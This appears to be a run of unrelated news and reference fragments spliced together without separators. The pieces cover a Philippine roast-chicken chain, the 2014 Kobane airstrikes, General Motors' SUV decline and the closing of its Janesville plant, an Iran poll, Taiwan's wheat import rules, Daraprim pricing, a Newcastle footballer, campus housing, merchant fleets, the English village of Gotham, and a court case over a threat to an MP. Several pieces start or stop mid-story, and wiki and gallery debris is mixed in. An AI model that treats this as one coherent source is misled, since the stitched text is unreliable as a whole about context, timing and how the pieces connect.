“Akala ko, exaggerated yung kuwento – na grabe yung pila everyday. But true enough, 'yung pila, talagang mahaba – Monday to Sunday. At 'yung kakaiba doon, 'yung pila, karamihan magbabayad ng pre-paid; bukas pa sila kukuha nung chicken. 'Yung mga nakapila doon, binarayan na nila kahapon. Ganoon ka in-demand,” said Mascariñas.
(I thought they just exaggerated the story – that lines were crazy everyday. But true enough, the lines really were long, Monday to Sunday. And what was unique there was that most of who were lining were those paying for pre-paid orders – they would still get the chicken the next day. Those who lined up also paid the day before. It was that in-demand.)
The difference was in a decision of the manager of that store to change the product’s recipe.
“From the standpoint of product development, skipping (a step) was really needed. But from the science of it, you really needed that. And they skipped it. The result was a truly tasty product,” said Mascariñas in a mix of Filipino and English.
The step, as it turns out, involved decreasing the amount of water added to the product's spice mix. In turn, a dry spice mix was opted for.
Stumbling on the successful recipe, Mascariñas ordered all stores to follow. “That night, I called all the other managers in Visayas and told them tomorrow, skip that step. And shortly after, sales went up.”
Convinced they found a winning formula, BAVI set out for a nationwide expansion of Chooks To Go stores. “How can I argue with success?” Mascariñas said, grinning.
Tried and tested
In the process of expansion, the new retail brand faced another test: resistance from BAVI’s own management team.
Mascariñas shared that convincing management of the decision to expand into retail was a challenge. The overwhelming question from BAVI’s management was “Kumikita naman kami, boss. Bakit kami papasok sa ganyan (We’re earning anyway, boss. Why would we enter in something like that [retail])?
As BAVI supplied commodity products to supermarkets, wet markets, and institutional buyers, putting up a retail business meant competing with their own customers.
“That was the dilemma. But I told management that the direction of the company is very clear: We will put up our own retails stores for roasted cooked products and dressed chicken. Now, if we’re dealing with a business partner who cannot work with our direction, they are free to leave,” said Mascariñas. It was a threat that worked.
The aggressive nationwide expansion of Chooks To Go started in 2008, eventually reaching a network of nearly 1,200 company-owned stores nationwide.
But in 2011, BAVI would face yet another setback.
“It looked like we were going to lose the brand (Chooks To Go). Income was really going down....We were really scared,” shared Mascariñas.
The company was plagued by undercooked and spoiled chicken products, which in turn drove down sales and led to the closure of nearly 50% of its stores. In 2011, net income reached only P48 million, down 54% from the previous year's P74 million.
BAVI hired United Kingdom-based consultant firm, Renoir Consulting Limited for $1 million to help them learn and move forward.
After a year of ironing out operations and management kinks, BAVI was on a roll again.
It decided to set up its second brand, Uling Roasters, which sought to capture market demand for charcoal-roasted chicken.
In 2015, the company set up its 3rd brand, Reyal – this time setting out to capture the market’s appetite for chicken products that come with a sauce. “In most countries, and it’s true in the Philippines, whether fastfood or roasted chicken market, it (products) always comes with a sauce. Go to McDonalds or KFC... (they even serve) unlimited gravy. So we know there’s a market for that,” said Mascariñas.
Mascariñas believes that among the company’s brands, it is Reyal that has the potential to overtake Chooks To Go as the market leader. “In [the] roasted chicken [market], our biggest competitor is practically ourselves. We let the 3 brands compete with each other; it’s something that we own already,” he said.
BAVI recently announced that the company would again set out on massive expansion efforts, seeking to open up to two stores a day across its 3 brands. Mascariñas maintained that all stores would remain company-owned in the interest of seizing prime store locations while keeping operations and quality consistent.
Likewise, Mascariñas believes BAVI will saturate the market for cooked chicken products in two years. The company even boasts a presence in Sulu and Tawi-Tawi.
BAVI currently operates about 1,800 stores across the 3 brands and has set an ambitious target of about 2,300 stores nationwide by end-2017.
To add to its portfolio, BAVI is currently testing two new brands: Snock and Kamukamo, a snack line and pork product line, respectively.
Next chapter
The ASEAN crisis that drove BAVI to fight for its survival is no longer a looming threat.
Mascariñas credited BAVI’s success to the people who manage the company’s production and operations. “What we thought would be an advantage to them – the technology, low cost of raw materials, etc, it’s not showing up because at the end of the day, people will use the technology. The best people in the industry – we really pounce on them. We make sure they’re with us,” he said in a mix of Filipino and English.
This time, BAVI takes on a new challenge: regional expansion for its first brand, Chooks to Go.
“If you look at what we’re doing, it’s not rocket science. There’s nothing extraordinary about it,” said Mascariñas.
Recently, BAVI set up two Chooks to Go stores in Malaysia, its first location outside the Philippines. Mascariñas shared that once the company learns how to operate in an international setting, it plans to open its second foreign location in Indonesia by the end of the year.
Mascariñas also shared BAVI has a list of interested partners in South Korea, Canada, and West and South Africa.
The strikes followed the request by Turkey for intensified U.S. efforts to prevent the predominantly Kurdish town, known as Ayn al-Arab in Arabic, from falling to the Islamic State, Turkish officials said. Turkey has lined up tanks and troops within view of the Syrian Kurdish fighters defending Kobane but has not sought to intervene — for a tangle of reasons bound up with its complicated relationship with Kurds and its doubts about the goals of the international coalition fighting the extremists.
Turkey insisted, however, that it does not want the town to fall, and a senior official said Ankara asked the United States on Monday to escalate strikes.
“Turkey will not be content with the fall of Kobane into the hands of terrorist organizations,” Deputy Prime Minister Yalcin Akdogan said in a statement Tuesday.
“Our government and related institutions have underlined the necessity to intensify aerial bombings in a more active and effective way through contacts with U.S. officials until late into yesterday night,” the statement added.
1 of 50 Full Screen Autoplay Close Oct. 15, 2014 Oct. 13, 2014 Monday Oct. 12, 2014 Oct. 11, 2014 Oct. 8 to Oct. 9, 2014 Skip Ad × Intensified airstrikes push some Islamic State militants from Kobane View Photos U.S.-led coalition stepped up airstrikes around the Syrian border town of Kobane after Turkey appealed for help, enabling Kurdish fighters to reverse the advance of Islamic State militants for the first time since the extremists launched their assault about three weeks ago. Caption U.S.-led coalition stepped up airstrikes on members of the Islamic State around the Syrian border town. Oct. 16, 2014 Kurdish men walk close to the Turkey-Syria border as smoke rises from the Syrian town of Kobane as seen from the southeastern Turkish village of Mursitpinar. Aris Messinis/Agence France-Presse via Getty Images Buy Photo Wait 1 second to continue.
The State Department declined to comment on the discussions, with spokeswoman Jen Psaki saying only that Secretary of State John F. Kerry spoke on the phone twice with Turkish Prime Minister Ahmet Davutoglu, on Monday night and, briefly, on Tuesday morning. The conversations were “broadly about the challenges we’re facing with ISIL and also Kobane,” she said, using an alternative acronym for the Islamic State.
Meanwhile, in Baghdad, officials said Wednesday that Islamic State militants downed an Iraqi military helicopter near the oil refinery town of Baiji, killing the two pilots on board.
A military aviation official told the Associated Press that the militants used a shoulder-fired missile to take down the helicopter. Baiji, some 130 miles north of Baghdad, is home to Iraq’s largest oil refinery. This is the second Iraqi military helicopter shot down over Baiji in a week.
Turkey has been widely criticized for its perceived inaction, but many Syrian Kurds also have accused the United States of neglecting their plight, contrasting the Islamic State’s unchecked advance on Kobane with the swift response to the group’s gains against Kurds in Iraq in the summer.
The U.S. Central Command on Tuesday reported five strikes around Kobane, doubling the number carried out since the Islamic State offensive against the town began. The strikes destroyed three Islamic State vehicles and an antiaircraft artillery piece, damaged a tank and took out a “unit,” a Central Command statement said.
The air attacks came just as the Islamic State launched a push into the center of the town, an advance that at first appeared to succeed, said Kurdish activist Mustafa Abdi, speaking from the adjoining Turkish town of Suruc. Islamic State fighters had reached the center of Kobane by mid-morning, he said, but one of the airstrikes hit a convoy of re­inforcements. It was forced to turn back, and the advancing fighters lost momentum.
By nightfall, a Kurdish force known as the People’s Protection Units had pushed the militants almost back to the position from which they had begun their attack. “Today is the first day the strikes were effective,” Abdi said. “These airstrikes are neutralizing their heavy weapons.”
Here's a closer look at the countries fighting the Islamic State and what they have to gain by banding together. (Davin Coburn/The Washington Post)
He said that more than 20 Kurdish fighters were killed and that the bodies of at least 50 militants were strewn in the streets. The claims could not be independently verified.
The Islamic State fighters responded to their setback with a barrage of artillery fire against the town, which Kurdish activists say has been almost entirely emptied of civilians and is being defended by about 3,000 fighters confronting up to 10,000 militants.
Kobane is still at risk, said Ibrahim Kader, another activist, urging continued strikes. “We do not have enough ammunition to last for much longer,” he said.
Kobane has little strategic value, and the Islamic State already controls several towns along the Turkish border. But the militant assault coincided with the extension of the U.S.-led air campaign from Iraq to Syria last month, putting the spotlight on the Islamic State’s advances in Syria — and on Turkey’s absence from the coalition formed to fight the group.
After warning that Kobane was “about to fall,” Turkish President Recep Tayyip Erdogan spelled out his nation’s conditions for joining the coalition, including the creation of a no-fly zone over portions of northern Syria — which could embroil the coalition in a fight with Syrian President Bashar al-Assad, as well.
“I am telling the West — dropping bombs from the air will not provide a solution,” Erdogan told a crowd of Syrians in the southern Turkish city of Gaziantep, whose population has swelled because of the influx of more than 1.5 million refugees into the country. More than 160,000 have arrived since the battle for Kobane began.
“The terror will not be over . . . unless there is cooperation for a ground operation,” Erdogan said Tuesday.
He also said it was crucial for “the moderate opposition in Syria and Iraq to be trained and equipped.” The Obama administration also has proposed similar measures but remains slow to act because of worries of al-Qaeda­inspired groups among the rebel ranks.
Underscoring the domestic ramifications of Turkey’s inaction, Kurds have been staging protests across the country and in some European cities demanding stronger measures to protect Kobane. In Varto, a town in eastern Turkey, a demonstrator was killed during clashes with security forces, news reports said.
After losing $18.8 billion in the first half of this year and facing more red ink for months to come, G.M. is now trying to salvage its future through a possible merger with Chrysler, another deeply troubled American automaker.
Amid the financial crisis and the chaos on Wall Street, the struggles of G.M., the world’s largest automaker, have been just another startling development in a season chock full of startling news.
Yet it is an epic moment. Autos have been prized jewels in America’s industrial crown for the better part of a century, and Detroit once dominated a truly global industry. Now, possible bankruptcy looms for G.M. and perhaps Chrysler.
As of Friday, shares of G.M. were down 76 percent for the year and Ford shares were down 70 percent. While American automakers are certainly the victims of their own missteps, the broader economic downturn is now working against them as well. Even Toyota, the mighty Japanese automaker, announced on Friday its first quarterly drop in sales in seven years.
Like the nation’s banks, Detroit automakers are pushing for the federal government to use taxpayer money to rescue them from their mistakes, but it is uncertain how much Uncle Sam will aid the industry.
What is clear is that Detroit, among its other miscues in recent years, particularly overindulged its romance with S.U.V.’s, leaving it tethered to a product line that may prove to be the industry’s undoing.
For its part, G.M., once admired as “the General” of the global auto industry, has been pushed to the brink of collapse. Besides its mating dance with Chrysler, G.M. has taken other bold steps to try to reverse a slide that analysts say is causing it to burn through an estimated $1 billion in cash each month.
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Within days of its decision to abandon the CXX program, G.M. announced another round of North American plant closures, including the planned shutdown of its sprawling factory in Janesville, Wis., where the big S.U.V. was born in the early 1990s. G.M. has promised to carve an additional $10 billion of its costs in a frantic effort to preserve its dwindling cash. It’s a far cry from the glory days of S.U.V.’s, when their sales fueled fat profits for G.M. and its rivals, Chrysler and Ford.
“For a long time, gas was cheap and money was easy and Americans wanted these big vehicles,” said John Casesa, a principal in the Casesa Shapiro Group, the auto consulting firm. “There was no downside — until the bottom fell out.”
GENERAL MOTORS lived off its S.U.V.’s and pickup trucks since they were introduced, and made one last, huge investment in new models that hit the market two years ago.
In fact, the company accelerated development of those vehicles to offset otherwise shrinking revenue.
But in retrospect, G.M. made one bet too many on the market for S.U.V.’s., whose sales have tumbled more than 30 percent this year and have been in decline since 2004. All of the Big Three have had to close plants, lay off thousands of workers and take substantial charges to cover the declining value of S.U.V.’s coming back to dealers from expired leases.
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Although even top-tier automakers like Toyota have been stung by the falloff, G.M., the biggest producer of full-size sport utilities, has been hurt the worst. The impact hit home two weeks ago in Janesville, a city of 64,000 about 75 miles southwest of Milwaukee.
On Oct. 13, G.M. announced that its 90-year-old plant there, the company’s oldest factory in the United States, would build its last S.U.V. just before the Christmas holidays.
Just a year ago, the Janesville plant was churning out 20,000 Suburbans, Yukons and Tahoes each month. As the assembly lines wind down, the plant is now producing less than 100 S.U.V.’s a day.
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Only 1,200 employees remain from a work force that once numbered 5,000, and the end is drawing near.
The workers there are stunned by the plant’s sudden demise. After building 3.76 million S.U.V.’s over the last 18 years, Janesville is headed for the automotive scrap heap.
“They told us it would never end, that it was a recession-proof vehicle and we’d never be able to build enough of them,” said Daryl Klemp, who was hired in 1995, when sales of S.U.V.’s were booming. He has been laid off since August, and he spends his days on his farm wondering how it all went wrong.
“We thought we were the luckiest auto workers in the world,” he said. “We had the product that everybody wanted, and all of a sudden, poof.”
There was a day, of course, when the big S.U.V.’s represented the automaker’s salvation.
G.M. was struggling at the end of the 1980s, losing market share in its core lineup of passenger cars to more nimble and inventive Japanese competitors.
Then the S.U.V. rolled in.
Whereas Chrysler appealed to baby boomers with young families who lined up to buy its boxy minivans, Ford and G.M. introduced rugged new vehicles adapted from small pickups — like the Ford Explorer and the Chevrolet Blazer — that were catching on as sexier alternatives to humdrum station wagons.
The new “sport utility” vehicles had rough suspensions and few creature comforts, but younger consumers, mostly men, were drawn to their outdoorsy image.
Executives in G.M.’s truck division proposed that a bigger version of the vehicle be adapted off the company’s full-size pickup platform.
“We weren’t sure where the market was going at the time, but it wasn’t a difficult challenge to do,” said Clifford J. Vaughn, a senior truck executive at the time.
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So, in 1990, the company stopped making compact cars and small pickups in Janesville and renovated the plant to build the new Chevrolet and GMC Suburban S.U.V.
In short order, the seven-passenger, “full size” S.U.V. became one of the hottest vehicles G.M. had ever introduced. In the first year of production, Janesville built 33,000 of them. Within two years, the plant was cranking out 200,000 annually.
Workers in Janesville were amazed at how quickly production increased. “You could work as much overtime as you wanted,” said Jim Glass, the third generation of his family to work in the plant.
A second car plant, in Arlington, Tex., was converted to feed the growing demand for the big S.U.V.’s. Ford introduced its own full-size models — the Ford Expedition and Lincoln Navigator — and Detroit quickly became locked in an automotive arms race.
“We tried to outdo each other as to who was going to do the biggest, best S.U.V.,” Mr. Vaughn said. “Americans just got so tuned into these vehicles, and it seemed people couldn’t get enough of them.”
More important, G.M. was earning an estimated $10,000 to $15,000 on every big S.U.V. it sold. In contrast, G.M. admittedly lost money on most of its passenger cars. But even as its share of the car market continued to decline, the profits from big sport utilities flooded in.
Union contracts meant that the Big Three had significantly higher labor costs than their Japanese competitors. But the big S.U.V.’s provided such ample profits that Detroit was still able to keep its plants running, its workers paid. and its growing health care and pension obligations covered.
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G.M. began adding variations on the full-sized S.U.V. In 1995, the company introduced the Tahoe, a somewhat smaller version of the Suburban, which swiftly became its biggest seller.
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Three years later, G.M. brought out its first luxury model, the Cadillac Escalade, and followed up by buying the Hummer brand from a small manufacturer of vehicles for the military.
By 2003, G.M.’s full-size S.U.V. production peaked at 680,000 vehicles. In Janesville, production had been averaging a quarter-million vehicles annually for a decade, and workers there were riding high. “Everything was great,” Mr. Glass said. “Gas was at $2 a gallon, and we built the best vehicles that people loved forever.”
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Life in Janesville seemed to revolve around the plant, its single large smokestack bearing the blue G.M. logo rising high above a bend in the Rock River. “The identity of the community for decades has been that we’re in the automotive business,” said John Beckord, president of a community development group called Forward Janesville.
Downtown streets were filled with Tahoes, Yukons and Suburbans bought by workers with their employee discounts. “If you lived here you would have thought that every other person bought one of those things,” Mr. Beckord said.
Every January, the Kiwanis Club would assemble a stripped-down Suburban, using parts donated by the plant, and park it on an ice-covered lagoon in a local park. Then, to raise money for charity, residents bought tickets and tried to guess the exact date and time that the vehicle would plunge through the melting ice during the spring thaw.
“It’s a bit of a spectacle to drive by and see that sitting out there and wonder when it’s going to fall through,” Mr. Beckord said.
But like the ice in Traxler Park, the market for big S.U.V.’s would begin to melt.
WITH fuel-economy ratings averaging 15 miles per gallon or less, big S.U.V.’s were made possible by a steady supply of cheap gasoline.
G.M. began sensing the vulnerability of the market in the summer of 2005, when gas prices shot up in the aftermath of Hurricane Katrina. Sales of big S.U.V.’s dropped sharply, just as G.M. was in the midst of the first stages of a broad turnaround plan.
“The market kind of fell off a cliff, which was very difficult to deal with,” said Mark R. LaNeve, head of G.M.’s North American sales. “It was burning down just when we were trying to do our turnaround.”
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But G.M.’s chairman, Rick Wagoner, and his board had already decided to move up the introduction of a redesigned line of big S.U.V.’s and pickups.
The profits from those vehicles were considered crucial to carry G.M. through the overhaul of its North American operations and to offset its eroding market share. G.M. was also planning to offer buyouts to as many as 35,000 workers, and the last thing it needed was a shortfall in revenue from its S.U.V.’s.
The automaker invested $175 million to update its Janesville plant so it could churn out refashioned S.U.V.’s. When the vehicles began rolling off the assembly line in 2006, workers were told that the theme of the new product was “Our future’s so bright that we’ve got to wear sunglasses,” Mr. Glass said.
Mr. Wagoner has often been asked whether G.M. miscalculated its need to invest billions of dollars to develop all-new S.U.V.’s.
“We, like everybody else, didn’t anticipate fuel prices to go up like they did,” he said recently.
Mr. Wagoner also pointed out that G.M.’s biggest rival, Toyota, invested heavily in new truck production in the United States just as the pickup and S.U.V. markets were crashing.
But big trucks were never the underpinning of Toyota’s success, and the Japanese juggernaut never lost sight of its goal of becoming a leader in hybrid gas-electric vehicles and small cars. G.M. is just now making an all-out effort to catch up in the small-car arena, and its hybrid sales are still far behind Toyota’s.
Besides G.M.’s top brass, labor unions also wanted to hang on to S.U.V. production. In the United Automobile Workers’ national contract talks last year, the shop chairman for Local 95 in Janesville, John Dohner, was on the bargaining team, spending several months in Detroit.
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“I only went up there for one reason — to try to hold onto Janesville,” Mr. Dohner recalls.
The contract reached last fall included product guarantees for several of G.M.’s assembly plants, including a new line of S.U.V.’s for Janesville to come out in 2012. But those guarantees evaporated when sales of sport utility vehicles crashed this spring and summer.
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By the time the truck market went into its free fall in April, G.M.’s product developers had already been working for months on the top-secret CXX platform for the next generation of big S.U.V.’s and pickups.
The CXX project was considered a leap forward for G.M., and would have provided a lighter, more fuel-efficient platform for the next models. Then, in May, the product board scrapped it.
At G.M.’s annual meeting in June, Mr. Wagoner said “structural changes” in the United States vehicle market would force the closing of four assembly plants, including Janesville.
The company, Mr. Wagoner said, would speed up the development of smaller cars and engines, and it reaffirmed its commitment to bring out the electric-driven Chevrolet Volt by 2010. On top of all this, Mr. Wagoner said G.M. was considering the sale of its Hummer brand.
To date, G.M. has reduced its annual S.U.V. and pickup production by 800,000 vehicles. And the cost of flooding the market with sport utility vehicles is also coming back to haunt the automaker.
In the second quarter alone, G.M. took $1.3 billion in write-offs to reflect the drop in the value of trucks and S.U.V.’s coming off lease. Overdependence on big S.U.V.’s has also hit Ford and Chrysler hard, but, as the biggest producer, G.M. had the most to lose.
“We made so much money on these vehicles for so long, I guess we just didn’t see it coming,” said Mr. Vaughn, who retired from G.M. in 1996.
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So now G.M. finds itself in a race against time. It’s pouring resources into new cars like the Chevrolet Malibu, and is competitive in the crossover market with entries like the Buick Enclave and the GMC Acadia.
Still, its dealerships are crowded with lines of unsold Tahoes and Suburbans, which increasingly look like dinosaurs in a gas-conscious marketplace.
Analysts see little point now in second-guessing G.M.’s huge commitment to the S.U.V. market when gas was cheap and Americans bought the vehicles in droves.
“In the 1990s, G.M.’s North American operations were very profitable only because of those big vehicles,” Mr. Casesa, the auto analyst, said. “That was how they stayed alive.”
Yet by focusing so heavily on bigger products for so many years, G.M. put off investing in cars that consumers want now. The company is also struggling to dismantle the truck-making infrastructure it had so diligently erected.
To be sure, G.M. still expects to sell big S.U.V.’s, but not at nearly the volumes it enjoyed in the past. And they will not be built in Janesville. Production will now be concentrated in Arlington.
Community and political leaders from Janesville have pleaded with G.M. management to consider putting a new, small car into the plant. Workers don’t expect that to happen, though, and they see little hope of a reprieve.
“We thought they’d stick with us a little bit longer, and that they’d share the hurt between us and Arlington,” said Andy Richardson, who recently took office as the new president of Local 95. “And they didn’t.”
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Mr. Richardson said many workers hoped to transfer to other G.M. plants, although some will hold on to the slim possibility that Janesville could get another product.
“If G.M. wants to build lawn chairs in Janesville, we’ll do it,” he said.
The closing of the Janesville plant will add 1,200 workers to the more than 40,000 hourly employees that G.M. has cut over the last three years.
EDITORS' NOTE: Reuters and other foreign media are subject to Iranian restrictions on leaving the office to report, film or take pictures in Tehran. REUTERS/Raheb Homavandi
The poll showed 56 percent of Americans would support U.S. military action against Iran if there were evidence of a nuclear weapon program. Thirty-nine percent of Americans opposed military strikes.
Asked whether they would back U.S. military action if it led to higher gasoline prices, 53 percent of Americans said they would, while 42 percent said they would not.
The Reuters/Ipsos poll also found that 62 percent of Americans would back Israel taking military action against Iran for the same reasons.
U.S. President Barack Obama has said all options are on the table in dealing with Iran’s nuclear program, but he has encouraged Israel to give sanctions against Iran more time to have an effect.
Iran says its nuclear program is peaceful.
Higher gasoline prices, which have risen in part due to tension in the Middle East, have put political pressure on Obama as he fights for re-election later this year.
The president, a Democrat, has also faced criticism from his potential Republican rivals for being too soft on Iran and not supportive enough of Israel.
The poll showed Republicans were more willing to support military action by the United States or Israel than Democrats. Seventy percent of Republicans would back U.S. action, while 46 percent of Democrats and 51 percent of independents said the same.
The breakdown was similar when respondents were asked to factor in gasoline prices or their support of an Israeli military move.
“What we’re seeing is kind of a general trend that we always see, that Republicans tend to be more hawkish than Democrats or independents,” said Ipsos pollster Cliff Young. “Historically Republicans have been much more security-centric.”
A potential conflict with Iran has cast a foreign policy shadow over the U.S. election, which is expected to be dominated by voter concerns over the domestic economy.
Obama accused Republican presidential candidates earlier this month of “beating the drums of war” while failing to consider the consequences.
Former Pennsylvania Senator Rick Santorum, one of the top Republican presidential contenders, told the powerful pro-Israel lobby group AIPAC: “If Iran doesn’t get rid of nuclear facilities, we will tear them down ourselves.”
Despite Americans’ signs of tolerance of higher gasoline prices in the poll, Obama’s chances of getting re-elected are threatened by rising prices at the pump.
Taiwan allows genetically modified soybeans and corn but does not allow imports of genetically modified wheat, said Lee Wan-chen, a section chief at the FDA.
During a recent check on packaged food products, the FDA did not find any genetically modified wheat on the local market, Lee added.
The statement was made as bakeries and wheat mills face doubts from local customers that wheat from the U.S. might be genetically modified and are receiving requests to purchase wheat from Japan and Canada.
Concerns about U.S. wheat first arose in 2013 when GMO wheat tested by U.S. seed company Monsanto Co. without approval from U.S. regulators contaminated a regular wheat farm in Oregon, prompting Japan to suspend some wheat imports.
The U.S. Wheat Associates' Taiwan office dismissed the suspicions, saying the U.S. does not produce genetically modified wheat.
The U.S. Department of Africulture has worked to remove any genetically engineered wheat that remained at the site of Monsanto's experiment, which is no longer used by the company, said Ron Lu, head of the association's Taiwan office.
It has also conducted a check on wheat products in the country and found that none of them had been contaminated by Monsanto's genetically engineered wheat, Lu said.
In addition, all U.S-grown wheat sold to Taiwan comes with certificates verifying that it is non-GMO, he said.
U.S.-sourced wheat accounts for 80 percent of Taiwan's total wheat imports. Another 18 percent of its wheat imports come from Australia and the remaining 2 percent come from Canada.
(By Chen Ching-fang and Scully Hsiao)
While much has changed in Shkreli’s life, when he testifies before the House Committee on Oversight and Government Reform on Thursday—where he’s said he’ll take the fifth—those who use Daraprim will be paying the exact same price they’ve paid for the last four months: $750 per pill.
Fresh from drubbings in the press and presidential candidates, Shkreli said in late September that he would cut the cost of the drug, which cost $13.50 a pop before Turing acquired it and which many patients must take daily for years.
He didn’t say how much the price would be lowered, but it didn’t matter—he would swiftly renege on is promise. In late November, Turing announced discounts of up to 50% for hospitals—where only patients requiring hospitalization would benefit from the reduction—along with smaller, less costly bottles of the drug.
The embattled biopharmaceutical company sought to portray its price hike as costly only to insurance companies and not consumers, according to documents in a memo released Tuesday by Democratic staff of the House Committee on Oversight and Government Reform.
Read: ‘$1bn here we come.’ — Martin Shkreli told Turing board as Daraprim buy got closer
The company also established patient assistance programs to take the focus away from what a 5,000% increase in price seemed likely to do to patient access, said the memo, which summarized more than 250,000 pages of Turing documents.
But patients were still slapped with co-pays ranging from $1,000 to even more than $16,000, according to the memo.
Access to the drug has also been impeded on the state level, where health departments—normally eligible for discounted Medicaid rates on drugs—have had difficulty gaining access, said Sean Dickson, manager of health care access at the National Alliance of State and Territorial AIDS Directors.
And while hospitals can get discounted access to Daraprim, those terms are negotiated individually, and would only benefit patients getting initial treatment with the drug.
Daraprim is used to treat parasitic infections and prevent a nervous system infection in those with HIV.
Read: Learn all about Martin Shkreli from Martin Shkreli himself
How, four months later, are customers still facing a list price that has been near-universally condemned?
“They just obviously are looking to maximize profits,” said Dickson.
Hatem Ben Arfa can’t understand why he is being left to rot in the reserves at struggling Newcastle.
Ben Arfa was told to train with the club’s second string last week after a row over his fitness with under-fire Newcastle manager Alan Pardew.
The French forward has revealed he watched the club’s 3-0 capitulation at Arsenal on Monday night in his front room and has claimed he is fit to play a part in the final two games of the season.
Outcast: Hatem Ben Arfa last appeared for Newcastle as a substitute during the 1-0 defeat at Stoke
Ben Arfa said: ‘Yeah, it was very difficult (watching the Arsenal defeat). I was at home watching on TV. It was hard because we have lost too many times, 3-0, 4-0, 3-0. It is hard when you love the supporters, it is hard to lose every time like that.’
Newcastle face Cardiff on Saturday at St James’ Park with pressure mounting on Pardew following a run of six successive defeats.
The city’s newspaper, the Evening Chronicle, called for his near three-and-a-half-year tenure as manager to end in a damning front page on Wednesday. Under the headline of ‘P45 due’, it listed the run that has threatened their top-10 finish.
Pardew was curt when he explained why Ben Arfa had not travelled to Arsenal. ‘He’s fit but I pick the team to try to get a result,’ he said. However, Ben Arfa has insisted he can lift the team out of their malaise and spoke of his frustration at starting just eight Premier League games since being substituted at Everton in September.
Frustrated: Ben Arfa (centre) feels he can help Newcastle's plight after a run of six straight defeats
Cutting: The Chronicle have joined calls for Alan Pardew to be sacked
‘Of course it hurts me because I’m competitive,’ he said. ‘I want to play and I want to help my team. Of course I want to play every game. That is not my decision. I train hard. I try to start but if I’m not starting, or on the bench, I have to respect the decision.
‘I feel sad and frustrated, but not angry. I want to help my team and I can’t. It hurts a lot. I want to take the ball and give the maximum for the team. When I see we are losing games 3-0, 4-0, it is very hard for me. If I am involved on Saturday, I could make a difference. I would like to try.
‘On the pitch I can offer my flair and my creativity. I try every time to do something. I think I can give a lot for the club.
‘I don’t know why I’m not playing. You have to ask the manager. After the (4-0) defeat against Manchester United, we had a strong exchange of words, but that is it. He doesn’t want me to play. I respect it. If he wants, I will play. I’m here for the club. I enjoy training. I just want to play. I’m fit.
‘If the manager says to me he doesn’t believe in me for next season, I want to stay, but if the chairman wants to sell me I have to go. I want to stay here even if the manager doesn’t believe in me because I will show him I can play here.’
Ben Arfa, who has just over 12 months left on his contract, is conscious there could be a move to sell him in the summer. He has held talks with Pardew but admitted he needs more faith from his manager.
On target: Ben Arfa has scored three times in the Premier League this season, including a penalty in the 3-0 win at Crystal Palace
‘I think Pardew believes in me, but he doesn’t show it. I don’t know why.
‘He needs to give me more confidence because I think he believes in me.
‘If the manager doesn’t play me, I respect that, but every player needs confidence. It hurts. My dream is to be in the top four next season with Newcastle, to get into the Champions League or to win a cup.
School officials have honored requests by CSLA’s Black Student Union and will offer “housing space delegated for Black students” at the Halisi Scholars Black Living-Learning Community.
CSLA spokesman Robert Lopez told education watchdog the College Fix on Tuesday via email that its segregated housing will also focus on “academic excellence and learning experiences that are inclusive and non-discriminatory.”
Mr. Lopez declined to tell the website how much of CSLA’s 192-room residential complex were available for segregated housing. University officials, members of the Black Student Union, and other campus staffers also declined to comment for the website’s piece.
List of merchant navy capacity by flag is a list of the world foremost fleets of registered trading vessels ranked in both gross tonnage (GT) and deadweight tonnage (DWT) sorted by flag state. The table is based on the annual maritime shipping statistics provided by the British Government and the Department for Transport. It is complete and correct for the year ending 2012.[1] Statistics are published on an annual basis every September.
While countries such as Panama may appear to possess a large merchant navy, this is a result of much of it being managed by foreign overseas companies (such as those based in the United States). This is known as flag of convenience.
For example, although the United Kingdom's merchant navy totals 30.0 million GT and 40.7 million DWT in shipping, actual UK merchant navy interests worldwide consists of 59.4 million GT and 75.2 million DWT in shipping.[2] This largely includes the merchant navies of British Overseas Territories and UK merchant navy interests in former colonies.
The table [ edit ]
See also [ edit ]
Churches Edit
The village has a twelfth-century church, St Lawrence's, dedicated to the martyr Lawrence of Rome.
References to Gotham in literature Edit
Transport Edit
Other points of interest Edit
On 2 August 1984, as rain storms lashed the county, Gotham was hit by a tornado at approximately 5:50 pm, uprooting trees, blowing garden sheds onto power cables, destroying greenhouses and severely damaging houses, roofs and chimneys; however, no one was injured.[5] Gotham is home to a biological Site of Special Scientific Interest (SSSI) listed as Gotham Hill Pasture.[6][7]
Second World War Edit
Gotham Pillbox There are few remaining physical examples of Gotham's wartime past. The word Gotham was removed from the face of the school building and from all signs and direction posts during the Second World War to confuse any enemy troops that might have invaded. The pillbox pictured is the only remaining structure dating from the Second World War in the village. It was one of two pillboxes erected to form a defence for the village and also to serve as a searchlight battery. The damage to the pillbox was caused after the war and was not due to enemy action.[8] See also British hardened field defences of the Second World War On 31 December 2018, a Horse had to be rescued by the fire service after becoming trapped in the pillbox.[9]
Gallery Edit
In 2014, the Gotham sign had been stolen three times in four years by Batman fans [10]
The Square
Wind vane in the centre of town displaying the legends of Gotham
The Cuckoo Bush Inn
The Star Inn
Thatched house on Nottingham Road
St Lawrence's Church
Gotham Manor
The old gypsum workings on Gotham Hill
Woods on Gotham Hill
A 37-year-old man is facing jail after he admitted threatening to kill a Labour MP the day before Jo Cox was murdered.
Geoffrey Farquharson left a message of “venom” on the parliamentary office phone of Ben Bradshaw, the Exeter MP, last month, ending his call with: “I will kill you, you bastard.”
During the two-minute call, Farquharson made comments about Bradshaw’s sexuality and about Muslims.
Farquharson, who admitted sending a communication of an indecent or offensive nature, had introduced himself on the call and given his full address.
Jo Clark, prosecuting, said the case centred on “an abusive and threatening voicemail message” to Bradshaw that was picked up by his Westminster office staff.
District judge Diana Baker described the call as “extremely offensive and very unpleasant”. She said the court should hear it because it was important to get a flavour of what it must have sounded like to the people who picked it up.
Bradshaw said in a victim impact statement to Exeter magistrates court that he had received death threats before and was not unduly concerned.
“I am more worried about my staff in Exeter who have borne the brunt of his behaviour,” he said, adding that the murder of Jo Cox had heightened anxiety over violence towards public servants.
Farquharson, who has a public order conviction from 2005, did not comment in police interviews after his arrest.
His lawyer, Sue Snow, said he sounded “unbalanced and upset” as he made the call.
Baker said Farquharson faced a jail sentence but adjourned for probation and a psychiatric assessment. He was bailed until August for sentencing and warned not to contact Bradshaw or his office, or go to Westminster.
Baker said it was a very unpleasant threat to an MP which contained “venom”.
Farquharson said: “I do apologise for that call.”
Speaking shortly after the call was made, Bradshaw said he, like all his parliamentary colleagues, was stepping up his security. He added: “The security of MPs is constantly reviewed and of course it has as a result of Jo’s murder. We have all been advised to hold appointment-only surgeries – which I think is a sensible caution.
“We have also been advised to let local police know about our movements. But we live in a free democracy and we value and cherish our elected representatives being out and about in public in their constituency.
